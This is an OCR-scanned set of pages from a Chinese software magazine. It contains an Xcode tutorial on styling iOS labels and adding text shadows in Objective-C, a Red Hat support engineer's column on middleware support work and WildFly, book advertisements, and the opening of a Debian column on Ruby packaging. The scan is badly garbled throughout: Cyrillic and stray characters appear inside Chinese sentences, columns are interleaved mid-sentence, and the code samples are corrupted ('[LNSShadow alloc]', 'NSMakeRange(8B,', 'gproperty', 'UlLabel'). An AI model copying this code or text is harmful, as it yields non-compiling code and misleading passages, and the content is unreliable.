首先 把 字体 调 大 ， 并 加 粗 。 保 持 Label 为 被 选中 状态 ， 点 击 Xcode AMWAY Attribute Inspector( 属性 窗口 ) 
(图 step2-1 )。 

点 击 “Font” 项 目的 [了 图 标 ， 弹 出 字体 设置 菜单 。 点 击 字体 设 置 菜单 中 的 “Font” 选 项， 把 字体 设置 
№ "System Bold ， 这 样 就 把 文字 设置 成 粗 体 了 。 另 外 ， 编 辑 Size 选项 ， 设 置 为 27， 把 字体 变 

其 次 ， 改 变 字体 的 颜色 。 点 击 属性 窗口 的 “Color” 选项 ， 选 择 “White Color”， 把 字体 颜色 设置 成 白色 
(图 step2-2 )。 

最 后 ， р ии 居中” 显示。 点 击 属性 窗口 的 “Allgnment ”选项 的 正中 间 的 图 标 ， 
使 之 保持 被 选中 状态 (图 step2-3 )。 这 样 标题 文字 的 修饰 工作 就 完成 了 。 


© step2-1 Attributes inspector © step2-2 


EN Default 


Recently Used Colors 
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EN Dark Text Color 
Ш Group Table View Background Color 
E=] Light Text Color 
ШШЕН Scroll View Textured Background Color 
Lines | u Font | System Bold * | C Table Cell Grouped Background Color 
i EN View Flipside Background Color 

ея М Family | Helvetica = ENEN Black Color 9 

Style | Bold = ШШЕН Dark Gray Color 

EZ] Light Gray Color 


Size [ 27| ” i mumm White Color 


py! Clear Color 


Alignment | = 


Behavio Other... 


© step2-3 
&2 step3-1 
Alignment | = | Е Е 
D B ка | o 
* Label 
Text | Plain sal 


Color | С | White Color MM 


接 下 来 设置 标题 所 显示 的 文字 。 


在 属性 窗口 的 文本 输入 框 里 输入 标题 的 内 容 ( 图 step3-1 )。 初 始 монен = 
值 显示 的 是 “Label”。 由 于 范例 的 第 一 页 是 一 副 沙漠 的 图 片 ， 所 以 这 ЕЛЕ: ее 
PRAETOR ҢУЗ: У EB a] "Desert", C Highlighted 


Га Маин * у pm A к= . I ARAA FA л Be el | 


1E Ө step4-1 
CE 4 


配置 用 于 显示 正文 的 控件 。 
因为 和 显示 标题 使 用 的 是 相同 
的 控件 ， 所 以 从 对 象 库 中 再 拖 一 个 
“Label” 放 到 Page1ViewController 中 
(图 step4-1 )。 大 小 按照 图 step4-2 来 Ej 
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€< step4-2 


Shaw | Frame Rectangle | 
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Highlighted 
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Line Breaks | Truncate Тай 
Autoshriek | Fixed Font Size 
Tighten Letter Spacing 
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Shadow | СС). Defauht 


Shadow Offset 01: 11: 
Monzontal Vertical 


Mode | Left 
Tag 91. 
interaction User imeraction Enabled 
мийіріе Touch 
Alpha J- 
Backgreued | CZ Default 
Drawing | | Opaque Modden 
(M Clears Graphics Context 


м Clip Subwews 
М Autoresize Subviews 


Stretching 01: 01: 
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мак text 


Label 


Round пест Button ~ imercepts Мух 
events and vends an action message to а 
target object when ifs tapped 


Segmented Control - Displays 
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functions аъ а discrete button 


wu 


各 表示 正文 的 Label 的 外 观 设置 成 正文 所 需 的 样式 。 
参照 第 二 步 ， 在 属性 窗口 把 字体 设置 成 System Italic" 。 这 意 
味 着 把 字体 设置 成 了 斜体。 字体 的 大 小 保持 初始 值 17 残 可 以 了 。 
将 字体 颜色 设置 成 日 色 ， 对 齐 方式 设置 成 居中 显示 。 

表示 正文 的 Label 中 还 要 进行 一 项 设置 ， 即 属性 窗口 中 的 Lines 
选项 (图 step5-1 )。 这 是 设置 “Label” 控 件 可 以 显示 多 少 行 的 选项 。 
初始 值 是 1， 对 于 标题 的 Label 而 言 ， 保 持 不 变 即 可 。 但 是 正文 不 
可 能 只 有 1 行 ， 所 以 需要 修改 这 个 值 。 本 例 中 设 为 10 行 。 

在 文本 输入 框 里 输入 正文 要 显示 的 内 容 后 制作 就 完成 了 (图 
step5-2 )。 本 例 中 输入 了 关于 沙漠 的 说 明文 字 。 

至 此 显示 字体 的 设置 就 全 部 结束 了 。 
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完成 这 一 步 后 ， 运 行 一 下 ， 确 认 第 1 页 的 显示 内 容 。 

点 击 Xcode 窗 口 左上 角 的 “Run”( 执 行 ) 图 标 。 怎 么 样 ? 是 不 是 显示 出 如 图 
step6-1 所 示 的 画面 了 ?虽然 显示 文字 的 目的 达到 了 , 但 是 由 于 背景 图 片 的 原因 ， | 
可 能 文字 读 起 来 有 点 费劲 。 
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F 面 我 们 来 追加 程序 代码 ， 实 现 更 高 级 的 文字 修饰 。 


点 击 Xcode 左 侧 的 项 目 导 航 中 的 “Page1ViewControllerh ， 显 示 其 源 代 人 码 。 在 代码 IBOutlet UIImageView 
*page1Image; 之 后 添加 如 下 两 行 。 


IBOutlet UlLabel *titleLabel; 


IBOutlet UILabel *bodyLabel; 


同样 ， 在 property (nonatomic, retain) IBOutlet UIImageView *page1Image; 之 后 添加 如 下 两 行 。 


gproperty (nonatomic, retain) IBOutlet UlLabel *titleLabel; 
gproperty (nonatomic, retain) IBOutlet UlLabel xbodyLabel; 


Жа "PagelViewController.h" mz El step7-1 тл 
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IBüutlet UILabel xtitleLabel; 
IBüutlet UILabel xbodyLabel; 


property (nonatomic, retain) IBOutlet UILabel xtitleLabel; | 
@property (nonatomic, retain) IBOutlet UILabel *bodyLabel; 
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接 下 来 在 实现 文件 Page1ViewControllerm ”中 添加 代码 。 
在 代码 synthesize page1Image ;之 后 添加 如 下 两 行 。 


gsynthesize titleLabel; 
gsynthesize bodyLabel; 


另外 , 在 - (void)viewDidLoad 中 添加 如 下 代码 (添加 位 置 参照 图 step8-1 )。 


// 给 文字 添加 修饰 

// SERAIT 

NSShadow *shadowAttr = [LNSShadow alloc] init]; 
[shadowAttr setShadowColor:LUIColor blackColor11; 
[shadowAttr setShadowBlurRadius:5.01; 


// ЗОВЕ 01а 

NSMutableAttributedString *titleText = [C[NSMutableAttributedString alloc] 
initWithString:titleLabel.text]; 

[titleText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(0, 
[titleText lengthl)l; 

titleLabel.attributedText = titleText; 


// TEBBSZEEZQSRHEILEY. 

NSMutableAttributedString *bodyText = CCNSMutableAttributedString alloc] 
initWithString:bodyLabel.text]l; 

[bodyText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(0, 
CbodyText 

Length1) 1; 

bodyLabel.attributedText = bodyText; 


“Page1ViewControllerm” 是 不 是 变 得 和 图 step8-1 一 样 了 ? 

简单 说 明 一 下 这 段 代 码 是 做 什么 的 。 在 STEP7 中 添加 的 “UlLabel” 具有 用 于 修饰 的 属性 ( attributedText ), 
用 这 个 属性 做 成 文字 周围 的 阴影 的 设 定 ( NSShadow )， 并 运用 到 “titleLabel” 和 “bodyLabel”。 

至 此 ， 设 定 程序 怎样 运行 的 “剧本 已 经 完成 了 ， 接 下 来 分 配 一 下 角色 。 


在 故事 版 ( Storyboard ) 左 侧 的 “Page1 View Controller”， 按 住 [control 键 并 点 击 ， 会 弹出 一 个 对 话 框 (图 
step9-1 )。 

按 住 菜 单 “Outlets” 下 的 “titleLabel” 右 端的 O， 然后 拖 动 鼠标 ,会 出 现 蓝 色 的 线 ， 把 这 个 线 如 图 
step9-1 那样 连接 到 标题 用 的 “Label”。 

同样 把 “bodyLabel” 如 图 step9-2 那样 与 正文 用 的 “Label” 连 接 到 一 起 。 这 样 就 把 “角色 ”分 配 好 了 。 
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@synthesize titleLabel; 
@synthesize bodyLabel; 


fg 给 文字 添加 修饰 
f 设置 阴影 的 格式 
NSShadow *shadowAttr = [[NSShadow alloc] init]; 


[shadowAttr setShadowColor: [ШІСо1ог blackColor]]; 
[shadowAttr setShadowBlurRadius:5.0]; 


// 把 阴影 样式 运用 到 标题 


NSMutableAttributedString xtitleText = [[NSMutableAttributedString alloc] initWithstring:titleLabel.text]; 
[titleText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(8, [titleText length]]]; 
titlelabel.attributedText = titleText; 


// 把 阴影 样式 运用 到 正文 


NSMutableAttributedStrinqg *bodyText = [[MSMutableAttributedString alloc] initWithString:bodyLabel.text]; 
[bodyText addAttribute:NSShadowAttributeName value:shadowAttr range:NSMakeRange(8B, [bodyText length]]]; 
bodyLabel.attributedText = bodyText; 


Ө step9-1 


| [B] Fagel View Controller Scene 
NT Æ Pagel Vie Fagel View Controller 
Triggered Segues 
manual 
Outlets 
bodylLabel 
раде Штаде k Image... 
searchDisplayCantroller 
titlelabel 
@ First Resp 
Exit Presenting Segues 


. relationship a Waviyal... 
e Unwind s root via... 


push 
modal 
custom | 
embed С) | per ucl 
' Referencing Outlets | | Label — Desert | 
New Referencing Outlet ( ) 
' Referencing Outlet Collections 
Mew Referencing Outlet Collection ( ) 
Received Actions 
page 1ReturnSegue: 


k C) Page4 View Controller 
ul First Responder 
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Э Pagel View Controller Scene 


Раде1 View Controller 
3 R T Triggered Segues 


B Presenting Segues 
@u relationship x Navigat.. @ 


root vie... 
° P. push 


modal 
custom 
ь r 
ë riki Referencing Outlets 
E New Referencing Outlet O 
w Referencing Outlet Collections 
9 u New Referencing Outlet Collection (> 
О ^ v Received Actions 
page 1Return Segue 
EJ Pag 


> CJ Pages View Controller 
@ First Responder 
E Exit 
@ unwind seque from Button to Exit 
О Push segue from Button to Page5 Vi t ° 


EJ Pages view Controller Scene MAG š % "= > 


> C) Pages View Controller 
3 First Responder 


Label - A desert is a landscape or region of land tha 
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° 


ТЯМ 


怎么 样 ? 从 连载 开始 到 本 回 的 内 容 为 止 ， 


再 运行 一 次 来 确认 效果 。 是 不 是 和 本 文 开头 和 为 “ 书 ” 的 最 基本 的 功能 应 该 都 已 经 具备 了 。 
的 图 1 一 样 ， 在 文字 周围 加 上 了 阴影 效果 ， 读 起 然 是 应 用 程序 ， 从 下 回 开 始 就 要 添加 应 用 程 
来 更 容易 了 ? 看 起 来 也 更 酷 了 ? 同样 ， 请 县 试 一 序 特有 的 功能 了 。 敬 请 期 待 ! 
下 在 别 的 页 面 上 也 加 上 文字 显示 。 


延伸 阅读 


— 精通 iOS 开 发 (第 6 版 ) 


— 


= 


— 
一 一 


-— Ег 


。 中 文 版 票 计 销 量 逾 50 000 册 ! 全 球 数 百 万 i0S 开 发 者 交口 称赞 的 i0S 开 发 圣经 ! 

AEE iOS 应 用 开发 的 入 门 和 中 级 开发 指南 ， 内 容 翔 实 , 语言 生动 。 作 者 结合 大 量 实例 ， 
循序 渐进 地 讲解 了 适用 于 iPhone\iPad 开发 的 基本 流程 。 本 书 作 者 均 为 苹果 资深 移动 开发 专家 ， 
写作 功底 深厚 。 
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小 西 高 之 £L 8 (B (5) S ER sz КЕЁ 
KONISHI Takayuki | 务 技术 支持 工程 师 
译 / 王 凤 波 
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大 家 好 ! 我 叫 小 西 。 初 次 见面 ， 请 多 关照 。 
在 公司 里 我 是 一 个 素来 无 人 问津 的 不 起 眼 的 小 人 
物 ， 只 是 因为 偶然 间 与 正在 物色 摆 稿 人 的 藤田 多 
生 对 视 了 一 下 ， 便 有 举 担当 起 了 本 次 惠 比 寿 报道 
的 摊 稿 工作 。 上 入 报道 中 ， 大 村 先生 将 蜂 栏 一 
子 提升 到 了 难以 逾越 的 高 度 ， 人 然而 栏杆 太 高 了 反 
而 可 以 轻易 地 从 下 面 穿 越 ， 让 我 可 以 放下 包 裕 ， 
轻松 愉快 地 为 大 家 完成 本 篇 报道 。 

笔者 与 大 村 一 样 ， 都 是 红 帽 公司 的 技术 文 
持 工 程 师 。 不 知道 大 家 对 于 技术 文 持 工作 是 否 有 
所 了 解 。 笔 者 在 人 职 红 帽 公司 之 前 从 事 的 是 开发 
工作 ， 而 且 对 于 所 使 用 的 软件 产品 从 来 没有 过 回 
有 关 技 术 文 持 部 门 进行 咨询 的 经 历 ， 所 以 在 目 己 
杀 目 从 事 技术 文 持 工作 之 前 ， 对 于 技术 文 持 的 概 
念 一 直 是 很 模糊 的 。 这 一 次 笔者 就 围绕 看 技术 文 
持 的 日 冲 工 作 内 容 为 大 家 做 一 下 介绍 。 顺 便 提 
一 下 ， 笔 者 所 在 的 部 门 负责 的 是 机 oss Enterprise 
Application Platform 等 中 间 件 的 支持 工作 ,为 外 
还 有 一 个 部 门 负 责 Red Hat Enterprise Linux 等 平 
合 的 支持 工作 。 
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中 间 件 的 最 新 资讯 


在 进入 正题 之 前 ， 首 和 完 与 大 家 分 至 一 下 中 
间 件 产品 的 几 个 最 新 劲 问 ， 当 然 也 可 能 会 涉 
及 一 些 老生 常 谈 的 内 容 。 冰 和 完 ， 社 区 版 JBoss 
Application Server( JBoss AS ) 已 经 正式 更 名 
为 WildFly “(参见 图 1)。 如 今 JBoss 这 一 名 称 
在 社区 、JBoss AS 以 及 各 种 各 样 的 中 间 件 产品 
中 都 有 着 广泛 的 应 用 , 已 经 很 难 区 别 具 体 指 
的 是 什么 了 ， 所 以 社区 就 更 名 一 事 举 行 了 投 
票 ， 并 于 4 月 份 正式 做 出 了 更 名 的 决定 ， 同 时 
还 公布 了 WildFly 的 LOGO。 关 于 WildFly 的 
变化 之 处 ， 其 中 一 项 就 是 迄今 为 止 JBoss AS 
中 的 Web 容 需 组 件 一 直 都 是 采用 源 于 Tomcat 
的 JBossWeb2， 而 WildFly 中 则 更 换 成 了 一 个 
吊 作 Undertow“ 的 组 件 ， 并 追加 了 一 些 新 的 功 
能 ， 比 如 Websocket 相 关 的 处 理 等 。WildFly 的 
第 一 个 版 本 号 是 WildFly8， 接 棒 JBoss AS 7. 
截至 本 篇 报道 撰 稿 之 时 ,最 新 发 布 的 版 本 是 
8.0.0.Alpha3， 而 且 正 在 面向 Java EE 7 进行 着 
下 一 版 本 的 开发 活动 。 
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技术 文 持 工作 首先 从 客户 提出 的 咨询 开始 。 
у 1 ”WildFly 的 LOGO 标 志 


Aem 
WildFly 


我 们 公司 通过 客户 门户 系统 (简称 CP ) 以 及 电 


(D http://wildfly.org/ 

(2) http://www.jboss.org/jbossweb 
(3) http:;//undertow.io/ 

(2) http://access.redhat.com/ 
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话 的 形式 受理 客户 提出 的 问题 ， 为 了 尽快 地 为 
客户 做 出 解答 ， 我 们 每 天 部 在 不 懈 地 努力 工作 
着 。 客 户 提 出 的 每 一 个 问题 都 会 被 整理 成 问题 
票 ， 并 被 登录 到 问题 票 管理 系统 中 。 一 线 技术 
工程 师 会 对 其 进行 初步 确认 。 从 前 笔者 在 从 事 
开发 工作 的 时 候 ， 首 先 会 将 开发 项 目 分 解 成 多 
个 任务 ， 然 后 再 逐一 去 完成 。 问 题 票 的 分 拱 工 
作 与 此 很 是 相近 , 但 是 处 理 方法 却 截 然 不 同 ， 


大 致 可 以 概括 为 以 下 几 点 。 

A 每 一 个 问题 票 (éd 
都 有 了 明确 的 回答 期 限 

在 开发 工作 中 ， 对 于 完成 某 个 任务 所 需要 
的 时 间 可 以 提前 进行 预 舍 ， 而 在 支持 工作 中 ， 
咨询 的 回答 期 限 是 有 明确 要 求 的 ， 比 如 有 的 
咨询 要 求 在 24 小 时 之 内 必须 做 出 相应 的 解答 。 
咨询 内 容 的 难 易 度 与 回答 期 限 没 有 任何 的 关联 ， 
最 好 能 够 马上 就 做 出 解答 。 然 而 有 些 问 题 相 当 
复杂 ， 是 无 论 如 何 也 难以 在 规定 的 期 限 之 内 了 巴 
以 解决 的 。 但 是 话 又 说 回来 ， 对 于 这 样 的 问题 
该 如 何 尽快 地 予以 解决 ， 也 正 是 我 们 技术 支持 
工作 的 最 大 乐趣 。 


首先 进行 案 人 调查 人 


开发 工作 肯定 会 涉及 编码 、 修 改 设计 、 测 
试 等 实 实在 在 的 工作 内 容 ， 而 技术 支持 工作 却 
未 必 全 部 都 需要 动手 去 调查 。 首 先 可 以 查看 一 
下 知识 库 。 知 识 库 中 清晰 地 汇总 了 以 往 的 咨询 
内 容 以 及 解决 方法 ， 有 时 只 要 查询 一 下 日 志 消 
息 就 可 以 一 下 子 找到 想 要 的 答案 。 另 外 ， 我 们 
公司 的 产品 也 有 社区 版 的 ， 因 此 有 时 也 可 以 从 
社区 网 站 中 寻找 到 答案 。 这 些 工作 从 某 种 程 
度 上 而 言 只 要 通过 一 些 机 械 性 的 操作 就 可 以 完 
成 。 另 外 CP 系统 中 也 引进 了 一 套 试用 版 的 知 
识 库 自动 检索 功能 ,可 以 在 客户 填写 提问 内 容 
的 同时 自动 检索 并 提示 类 似 的 知识 点 。 如 果 客 
户 提问 的 问题 与 自动 提示 的 知识 点 一 致 ， 那 就 


© 中 间 件 请 参见 http://jboss.org/ 
(6) 现在 只 支持 英文 。 
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有 望 能 够 尽早 地 解决 该 问题 了 。 但 是 由 于 用 户 
的 使 用 方法 不 同 ， 环 境 也 存在 着 差异 ， 所 以 几 
乎 每 天 都 会 有 新 的 案例 发 生 ， 并 被 积 素 到 知识 


库 当 中 。 
E 


e 


而 在 找 不 到 相似 案例 的 时 候 就 要 视 情况 查 
看 源 代码 ， 或 者 采取 将 问题 再 现 的 方式 来 寻求 
答案 。 如 果 这 样 依然 无 法 解决 的 话 ， 就 要 尽快 
委托 相关 领域 的 专家 进行 协助 调查 了 。 知 道 该 
何 时 请 专家 出 场 是 非常 关键 的 。 首 先 要 在 技术 
支持 部 门 内 部 请 求 协 助 "， 有 时 其 至 会 请 远 在 欧 
洲 或 者 美国 的 专家 做 出 解答 。 如 果 这 样 依然 无 
法 找到 答案 的 话 ， 就 需要 进一步 请 教 开发 该 软 
件 的 技术 人 员 了 。 另 外 ,我们 还 时 常 向 平台 小 
组 请 求 协助 ， 因 为 很 多 他 们 看 来 常识 性 的 东西 
在 中 间 件 技术 人 员 看 来 往往 却 是 很 陌生 的 。 反 
过 来 亦 是 如 此 ， 因 此 通过 向 他 们 进行 咨询 ， 同 
时 也 实现 了 双方 的 互补 互惠 。 


专家 出 场 


工作 流程 的 目 癌 改善 


想必 通过 上 面 的 介绍 大 家 对 于 大 致 的 工作 
流程 已 经 有 了 一 定 的 了 解 ， 然 而 具体 的 工作 流 
程 实际 上 是 经 常 发 生变 化 的 。 例如， 自从 我 
们 去 年 对 知识 库 的 编辑 工具 做 出 较 大 修改 以 
来 ， 就 一 直 在 不 断 地 对 接口 进行 细微 的 调整 。 
从 小 的 层面 上 讲 ， 各 个 工程 师 也 会 制作 一 些 
Greasemonkey 脚 本 或 者 人 简单 的 工具 分 享 给 大 家 
使 用 ， 因 此 与 半年 前 相 比 ， 工 作 流程 的 变化 可 
以 说 达到 了 惊人 的 程度 。 当 然 变化 太 大 有 时 候 
也 会 令 人 措 不 着 头脑 ， 但 是 从 整体 上 而 言 ， 与 
总 是 一 成 不 变 地 固守 同一 工作 方法 相 比 ， 反 复 
不 断 地 进行 反馈 与 改善 才 是 更 好 的 选择 。 

这 一 次 ,我 们 以 工作 流程 为 中 心 为 大 家 介 
绍 了 技术 支持 工作 。 正 如 上 面 为 大 家 介绍 的 那 
样 ， 为 了 尽快 地 解决 客户 所 咨询 的 问题 ， 技 术 


@ 需要 使 用 英文 对 概要 和 提问 内 容 进行 总 结 。 
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文 持 工程 师 们 每 天 都 在 努力 地 奋斗 着 。 除 此 之 
外 ， 技 术 文 持 团 队 还 参与 着 产品 的 国际 化 以 及 
产品 的 开发 工作 。 这 是 0OSS 产品 的 与 众 不 同 之 
处 ， 我 想 也 正 是 0SS 产品 最 具 魅 力 的 地 方 吧 。 


回顾 以 前 的 惠 比 寿 报道 ， 我 有 一 个 重大 的 
发 现 ， 那 孢 是 几乎 每 个 小 标题 的 前 面 都 有 一 个 
鳃 鱼 的 插图 ， 可 似乎 从 来 没有 人 谈 起 过 惠 比 寿 
HJ fa! 在 距离 下 火车 站 东 出 口 步行 几 分 钟 


讲述 计算 机 先驱 传奇 编程 生涯 


“演绎 编程 、 思 维 与 生活 交汇 之 美 
“畅销 经 典 审 校 修订 、 分 拆 两 卷 重新 出 版 


这 是 访谈 笔录 ， 记 录 了 当今 最 具 个 人 魅力 的 15 位 软件 先 
驱 的 编程 生涯 。 包 括 Donald Knuth. Jamie Zawinski, Joshua 
Bloch, Ken Thompson 等 在 内 的 业界 传奇 人 物 ， 为 我 们 讲述 了 他 
们 是 怎么 学 习 编 程 的， 在 编程 过 程 中 发 现 了 什么 以 及 他 们 对 未 来 
的 看 法 ， 并 对 诸如 应 该 如 何 设计 软件 等 长 久 以 来 一 直 困 扰 很 多 程 
序 员 的 问题 谈 了 自己 的 观点 。 中 文 版 分 为 上 下 卷 ， 上 卷 介绍 8 位 
大 师 ， 下 卷 介 绍 7 位 大 师 。 


的 一 个 小 巷子 里 ， 有 一 家 叫 作 “HIRAGI” 的 
铜 鱼 烧 小 店 ， 颇 有 名 气 。 这 里 的 铜 鱼 烧 在 经 过 
30 多 分 钟 的 烧烤 之 后 ， 外 皮 酥 脆 ， 豆 馅 润滑 ， 
十 分 香甜 可 口 。 可 以 作为 午餐 后 的 茶点 ， 也 可 
以 作为 小 礼品 赠送 亲朋 好 友 。 如 果 大 家 有 机 会 
光临 囊 比 寿 ， 请 一 定 去 试 一 试 ， 建 议 大 家 购买 
之 后 立即 品尝 ， 味 道 更 佳 。 

另外 ， 多 次 听 人 介绍 说 这 里 的 午餐 味道 很 
好 ， 所 以 我 为 大 家 制作 了 一 份 简单 的 午餐 攻略 
图 *， 大 家 可 以 借鉴 一 下 。 


http://goo.gl/maps/5Aj3G 


Ei 


Peter Seibel Common Lisp ER, Jolt 生产 效 率 大 奖 图 书 Practical Common Lisp 作者 。 


Linu xz химна 


“有 些 人 生来 就 注定 能 领导 几 百 万 人 ， 有 些 人 生来 就 注定 能 写 出 翻天 覆 地 的 软件 。 但 只 
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й | eLinux Z & Linus Torvalds 唯一 自传 
{ . 幽默 风趣 ， 畅 谈 兴趣 对 非凡 人 生 的 影响 
{ 。 完 美 融合 人 生 、Linux 与 开源 历史 
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一 个 人 两 样 都 能 做 到 : 托 瓦 效 。 
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Software Design 的 读者 朋友 们 ， 你们 好 。 
我 是 Debian JP Project HS c fic Ж. Н d 
接替 山 根 秀 树 来 负责 专栏 Debian 热 点 的 撰写 工 


作 ， 还 请 大 家 多 多 关照 。 

本 期 和 下 期 的 Debian 热 点 将 为 大 家 介绍 
一 下 Debian 中 的 Ruby 以 及 Ruby 相 关 软 件 的 
打包 工作 。 与 前 几 期 讨论 的 内 容 相 比 ， 可 能 及 
格 上 会 略 有 不 同 ， 但 是 大 家 可 以 把 它 作 为 分 布 
式 开 发 的 一 个 经 典 和 案例 来 阅 谈 ， 和 布 望 大 家 能 够 


EX 


Ruby іп Debian 


首先 为 大 家 简要 地 介绍 一 下 Debian 中 Ruby 
包 的 情况 。 现 在 Debian 中 Ruby 的 相关 程序 包 
涉及 以 下 三 个 版 本 ,截至 本 文 撰 稳 之 时 ，stable 
(Wheezy). testing (Jessie), unstable(Sid) 4 部 
都 已 经 使 用 相同 的 版 本 完成 了 打包 工作 。 


* Ruby 1.8.7 ( patchlevel 358) 
* Ruby 1.9.3 (1.9.3p194, rev 34510) 
* JRuby 1.5.6 (ruby 1.8.7 patchlevel 249) 


正如 大 家 所 知道 的 那样 ， 其 中 Ruby 1.8.7 E 
经 从 2013 年 6 月 30 日 起 正式 脱离 了 Debian 的 文 
持 范 围 。 这 与 2011 年 10 月 6 日 公布 的 日 程 安排 
是 一 致 的 。 根 据 这 个 日 程 安排 ， 关 于 Debian7.1 
(Wheezy) 中 是 否 提供 对 于 Rubyl.8.7 的 支持 ， 


文 /Debian JP Project 佐佐木 洋 平 ( Youhei Sasaki ) 
uwabami @ debian.or.jp Twitter: @uwabami 译 / 王 凤 波 


Rubyiin Debian(1) . 


经 引发 过 讨论 ， 并 开展 了 相关 的 迁移 工作 以 
及 无 法 迁移 的 程序 包 的 应 对 工作 。 结 果 因 为 与 
Ruby1.8.7 息 息 相 关 的 其 他 程序 包 的 迁移 工作 难 
以 在 发 布 之 前 (准确 地 说 应 该 是 在 宣布 冻结 之 
前 ) 完 成 ， 所 以 Wheezy 中 没有 删除 而 是 保留 了 
对 于 Ruby1.8.7 的 支持 。 虽 然 正 式 的 日 程 还 没有 
确定 ,但 是 testing 和 unstable 也 将 于 近期 内 市 
除 Ruby1.8.7。 由 此 Wheezy 将 成 为 Debian 中 最 
后 一 个 提供 Ruby1.8.7 的 发 布 版 本 。 

妨 外 ，Ruby 的 最 新 版 本 是 1.74， 而 Debian 
中 的 程序 包 则 是 稍微 老 一 点 的 版 本 ， 这 是 
为 Ruby 是 在 Wheezy 冻 结 之 前 被 正式 纳入 为 
Debian 程 序 包 的 ， 因 此 错过 了 上 游 更 新 的 时 机 。 
今后 计划 由 Debian Java Team 实施 更 新 。 

除 此 之 外 , 现在 正在 开发 中 的 程序 包 包 括 : 


(D 


* Rubinius 


: mruby 2 


- Ruby 2.0® 


mruby 目前 正 处 于 测试 阶段 ， 感 兴趣 的 读者 请 务 
必 使 用 mruby 的 Pack ge Track ng System ( PTS ) 
与 维护 工程 师 取 得 联系 。 男 外 ，Ruby 20 将 于 
近期 被 上 传 到 unstable 中 。 


(D #591817 - ITP: rubinius -- Rubinius is an imple mentation 
of the Ruby programming language http://bugs.debian. 
org/cgi-bin/bugreport.cgi?bug-59181 

(2) Debian Package Tracking System - mruby http://packages. 
qa.debian.org/m/mruby.html 

(3) #697703 - ITP: ruby2.0 -- Ruby Programming Language http:// 
bugs.debian.org/cgi-bin/bugreport.cgi?bug=697703 


4 , Ruby іп Wheezy .| 


接 下 来 为 大 家 概括 一 下 Ruby 在 新 稳定 版 

Wheezy 中 的 变化 之 处 。 
CRuby alternatives. 
~ ruby-switch 

在 旧 稳 定 版 Squeeze F, /usr/bin/ruby 是 指 
[J /usr/bin/ruby1.8 的 符号 链接 。 到 了 Wheezy 以 
后 ， 开 始 通 过 Alternatives 对 /usr/bin/ruby 进行 
管理 ， 并 可 以 根据 需要 将 /usr/bin/ruby 切 换 到 
ruby1.8 或 者 ruby1.9.1。 如 果 您 使 用 的 环境 中 同 
时 安装 了 ruby1.8 和 ruby1.9.1, 那么 默认 情况 下 ， 
/usr/bin/ruby 执 行 的 将 是 /sr/bin/ruby1.9.149， 如 
图 1 所 示 。 如 果 和 希望 /usr/bin/ruby 执行 /usr/bin/ 
ruby1.8， 则 可 以 通过 使 用 update-alternatives 将 
/usr/bin/ruby 073% 22 /usr/bin/ruby1.8 (2). 


D 命令 名 称 使 用 的 是 /usr/bin/ruby19 ,但 实际 执行 的 是 
ruby19 。 因 为 mby19 和 rubyl9 是 二 进 制 兼容 的 
( soname 没 有 变化 )， 所 以 命令 名 称 继续 沿用 了 ruby1.9.1。 


У 1 默认 情况 下 执行 /usr/bin/ruby1.9.7 


$ 15 -la /usr/bin/ruby 

[rwxrwxrwx 1 root root 22 6H 10 18:39 /usr/bin/ruby 
-> letc/alternatives/ruby 

$ ls -la /etc/alternatives/ruby 


У 2 将 /usr/bin/ruby 切 换 至 /usr/bin/ruby1.8 


$ sudo update-alternatives --config ruby 
alternative ruby (提供 /usr/bin/ruby) 中 有 2 个 可 选项 。 


优先 级 。 ”状态 


/usr/bin/ruby1.9.1 51 
/usr/bin/ruby1.8 50 
/usr/bin/ruby1.9.1 51 
保持 当前 选择 项 [*] 不 变 请 按 Enter 键 ， 否 则 请 输入 
选项 编号 : 1 


update-alternatives: /usr/bin/ruby (ruby) 将 通过 手动 
模式 使 用 /usr/bin/ruby1.8 

$ ruby -v 

ruby 1.8.7 (2012-02-08 patchlevel 358) [x86 64-linux] 


gem 也 同样 可 以 进行 切换 。 为 此 ，/usr/ 
bin/ruby 执行 /usr/bin/ruby1.8 而 /usr/bin/gem $A 
£7 /usr/bin/gem]1.9.1 的 特殊 情况 也 是 可 以 实现 
的 。 但 话 虽 如 此 ， 实 在 是 难以 想象 得 到 实现 这 
АУН РА СЕА с TE) 
为 了 实现 ruby 和 gem 的 同时 切换 ， 从 Wheezy 
以 后 开始 引入 了 一 球 叫 作 ruby-switch 的 程序 包 
(图 3)。 

归根 结 底 ，ruby-switch 命 令 只 不 过 是 根据 
需要 的 次 数 多 次 重复 调用 update-alternatives 而 
已 ， 但 是 因为 它 能 够 一 次 性 实现 系统 层面 的 
Ruby 切 换 操 作 ， 因 此 希望 大 家 务必 对 其 加 以 
灵活 使 用 。 


(9 外 部 库 的 包 名 和 安装 路 径 的 变 


迄今 为 止 , 与 Ruby 没 有 进行 捆绑 的 ( 比 
如 类 似 于 Gem 中 发 布 的 ) 外 部 库 ， 其 软件 包 大 
体 上 都 被 命名 为 了 诸如 libfoo-ruby1.8、libfoo- 
ruby1.9.1 之 类 ， 正 如 这 些 名 称 所 表示 的 那样 ， 
ruby1.8 用 的 包 和 ruby1.9.1 用 的 包 分 别 进行 了 


Lrwxrwxrwx 1 root root 18 6H 12 05:21 /etc/alternatives/ruby 
-> [usr/bin/ruby1.9.1 

$ ruby -v 

ruby 1.9.3p194 (2012-04-20 revision 35410) [x86 64-11 


nux] 


打包 处 理 。 但 是 ，pure Ruby library (多 数 情 况 
下 ) 所 提供 的 文件 都 是 相同 的 , 如 采 都 分 别 打 包 ， 
实在 是 有 些 违背 节约 精神 。 因 此 ， 在 Wheezy 
发 布 之 前 开展 了 一 项 修改 工作 ， 将 这 些 包 汇总 
成 了 ruby-foo 形 式 的 单一 包 。 包 的 具体 命名 方 
法 如 下 。 


。 库 包 采 取 ruby-{Gem 名 称 } 的 形式 
例如 : ruby-gtk2、ruby-activerecord、ruby- 
hikidoc 

。 应 用 程序 采取 (Gem 名 称 } 的 形式 
例如 : 


rails, rubygems, cucumber, jekyll 


(5 Debian/Ruby Wheezy Transition 
http //B- ruby-ek rasa liothd biano rg/wheezy/ 
А ЛЭ АЈ, ТЕ Wheezy 发 布 之 前 (准确 地 说 应 该 是 在 
冻结 之 前 ) 修 改 工作 未 能 结束 ， 并 且 现 在 依然 在 进行 当中 ， 
述 迟 未 能 完成 。 


У з 使 用 ruby-switch 实现 ruby 和 gem 的 同时 切换 


$ sudo apt-get install ruby-switch 
(+) 

$ ruby-switch 

Usage: 


